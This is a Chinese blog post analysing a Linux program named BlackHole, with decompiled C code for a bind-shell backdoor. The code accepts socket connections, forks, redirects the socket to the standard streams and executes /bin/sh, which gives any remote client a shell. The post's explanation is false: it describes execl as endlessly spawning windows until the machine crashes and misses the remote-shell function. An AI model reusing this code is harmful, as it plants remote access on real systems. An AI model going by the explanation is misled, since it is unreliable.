首页 > 代码库 > 基于Linux平台病毒BlackHole病毒解析

基于Linux平台病毒BlackHole病毒解析

今天遇到了一个病毒,代码量不多,但是利用了一个函数的小空子,杀伤力确实挺惊人的。

转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^

这个病毒前面就是常规的:

socket->bind->listen这个过程大家都大笑

下面我想详细说一下它的攻击方式:

while ( 1 )
  {
    nsock = accept(sock, (struct sockaddr *)&v10, (socklen_t *)&v9);//wait to link
    if ( nsock < 0 )
      break;
    if ( fork() )                               // if Create progress is father progress
    {
      send(nsock, "\nConnected!\n\n", strlen("\nConnected!\n\n") - 1, 0);
      send(nsock, "This fine tool coded by Bronc Buster\n", strlen("This fine tool coded by Bronc Buster\n") - 1, 0);//这是他在自己娱乐呢
      send(
        nsock,
        "Please enter each command followed by ‘;‘\n",
        strlen("Please enter each command followed by ‘;‘\n") - 1,
        0);
      dup2(nsock, 0);
      dup2(nsock, 1);
      dup2(nsock, 2);
      execl("/bin/sh", "/bin/sh", 0);**************这句话就是真正的攻击了,先找找execl看看他咋攻击的呢吐舌头
      close(nsock);
      exit(0);
    }
    close(nsock);
  }

在execl中第一个参数是path即指向要执行的文件路径第二个参数是执行该文件的参数列表

在上面的代码中首先系统找到/bin/sh这一路径,然后是第二个参数执行/bin/sh,弹出一个窗口,而接下来/bin/sh又作为路径,继续寻找相应的参数列表,也就是/bin/sh,然后再执行,再弹窗,再查找,执行,弹窗,查找,执行,弹窗,查找。。。。惊恐一直下去,直到。。直到电脑over

这个病毒写的杀伤力还是挺大的,(⊙o⊙)学无止境啊

最后是一句话送给大家:

很多事情就像旅行一样,但你决定要出发的时候,最困难的部分已经完成了!